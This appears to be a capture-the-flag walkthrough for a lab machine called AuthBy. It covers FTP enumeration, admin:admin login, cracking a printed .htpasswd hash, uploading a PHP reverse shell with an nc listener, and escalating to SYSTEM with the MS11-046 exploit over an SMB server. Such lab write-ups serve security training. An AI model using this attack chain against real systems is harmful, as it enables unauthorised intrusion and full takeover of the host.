# AuthBy

## nmap

```
mkdir nmap
sudo rustscan -a 192.168.118.46 --ulimit 5000 -- -A -oA nmap/all-ports-service-scan 
```

Open ports on 21 and 242

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-Mkllq6yXfsOdRIfCKD6%2Fimage.png?alt=media&#x26;token=46d6f117-1141-46fa-91f3-c2abdf6f3bd8" alt=""></div>

## Enumeration

Visiting the HTTP Server on port 242 requires Basic Authentication

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklmIG8xChChcOmcilR%2Fimage.png?alt=media&#x26;token=2758f99b-6774-4eed-8870-4bb8daf5255a" alt=""></div>

On FTP, logging in as **anonymous** seems to work.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklmWTS7EDTAjTXGHoF%2Fimage.png?alt=media&#x26;token=39e8b019-1826-4fc1-a1a5-c41ef6165259" alt=""></div>

I tried downloading the files but it seems I don't have read permission.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklnSub2mUkPcrhIp7d%2Fimage.png?alt=media&#x26;token=7107ab58-a36a-4db7-8a12-49ee44ea9dca" alt=""></div>

Looking at the directories, there's a folder called **accounts**

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklmwIJl7VUgVNx3lFV%2Fimage.png?alt=media&#x26;token=e804721e-7f12-4ae7-b1ef-cddd3519215c" alt=""></div>

If I have to guess, these files are the **usernames** allowed to access this server.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-Mklnm8N4fjS7ERKuPNO%2Fimage.png?alt=media&#x26;token=5117b38a-3e7f-4a3b-97f5-635749514ccf" alt=""></div>

Let's try to log in using `admin` as the username and password. And looks like there are 3 interesting files in this user account.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MkloCxVBqL57goqT6qZ%2Fimage.png?alt=media&#x26;token=c98d34a8-dc61-4dd7-ba6d-c6d7c08e42a1" alt=""></div>

First, let's download all of these files on our local machine.

```
wget -r ftp://admin:admin@target-ip-address/
```

One of the files in there is called `.htpasswd` and it contains a username and the password hashed.

```
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0                                                                                                                                                                       
```

Let's cracked this using `john`&#x20;

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklpoCLf7WwXK17Jovx%2Fimage.png?alt=media&#x26;token=c14d34f6-3a9b-4a33-a3fb-5ec1e7ab8c25" alt=""></div>

We can also upload to the FTP server. I'm guessing, this means the FTP directory is where the website is hosted in. We can leverage this by uploading a PHP reverse shell via FTP and triggering it by vising the page using the credential we have cracked using `john`.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-Mklr5G26leP7097ahbC%2Fimage.png?alt=media&#x26;token=ac1287d3-2fb0-40f2-a4f7-7e4ed4c0fa93" alt=""></div>

## Exploitation

Create a PHP reverse shell. But on this demo, I will use this [one](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php). Copy the source code and put that in your machine. I named it to `php-rev.php`

Edit the IP Address and the port at the bottom of the script. Set the port to 242.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-Mklsnt02B9iaQJh9Ide%2Fimage.png?alt=media&#x26;token=0652ac3d-d91c-42ee-b908-7e9d93740a3c" alt=""></div>

Set up a reverse shell listener on port 242

```
sudo nc -lvnp 242
```

Upload the shell via FTP

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MkltDlnPueWtD0TL8Zi%2Fimage.png?alt=media&#x26;token=98285214-2f7f-44fc-8955-fd5530fb48ff" alt=""></div>

Open your browser, and trigger the exploit. Log in using the credentials we have found above.

```
http://targett-ip:242/php-rev.php
```

After that, you should receive your shell right away.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MkltqfKqcBNo5PxYF9a%2Fimage.png?alt=media&#x26;token=9b48104b-f4b3-4ea8-b599-2e5b2bb16b6c" alt=""></div>

## Privilege Escalation

Since winPEAS is not working somehow. I tried to search for privilege escalation exploits using [**WES-NG**](https://github.com/bitsadmin/wesng).&#x20;

First, copy the output of `systeminfo` to our local machine.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklugPPiBCEgqXZAc52%2Fimage.png?alt=media&#x26;token=d835390e-b525-4b38-b3a2-9c9054877b3b" alt=""></div>

Then execute the following to get the possible privilege escalation exploits.

```
sudo python3 wes.py systeminfo.txt -i "Elevation of Privilege"
```

After some time, I found this looking good exploit.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklvVtydPR5aaZx_r_v%2Fimage.png?alt=media&#x26;token=ca7617da-51c5-4f44-9ceb-e5f99035db75" alt=""></div>

I have found a pre-compiled executable of this exploit [here](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe). Download a copy to your local machine.

Open an SMB Server to your machine.

```
sudo python /opt/impacket/examples/smbserver.py kali . -smb2support
```

Transfer the privilege escalation exploit.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-MklvxR8_dvwHGCcWa3_%2Fimage.png?alt=media&#x26;token=939e3fe6-9ba1-45e7-a660-180a51aa55ce" alt=""></div>

After running the exploit, you should instantly get a **SYSTEM** shell.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mkli3PVJRvi-LkZm69V%2F-Mklw7v92HJqKMZK-vUz%2Fimage.png?alt=media&#x26;token=b8f1bb2e-585f-4515-a033-031f20f15f0d" alt=""></div>

Thanks and enjoy the rest of your day!
